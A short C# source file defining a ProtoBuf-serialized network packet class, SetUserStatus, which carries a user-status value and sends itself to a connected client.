using ProtoBuf; using xServer.Core.Networking; using xServer.Enums; namespace xServer.Core.Packets.ClientPackets { [ProtoContract] public class SetUserStatus : IPacket { [ProtoMember(1)] public UserStatus Message { get; set; } public SetUserStatus() { } public SetUserStatus(UserStatus message) { Message = message; } public void Execute(Client client) { client.Send(this); } } }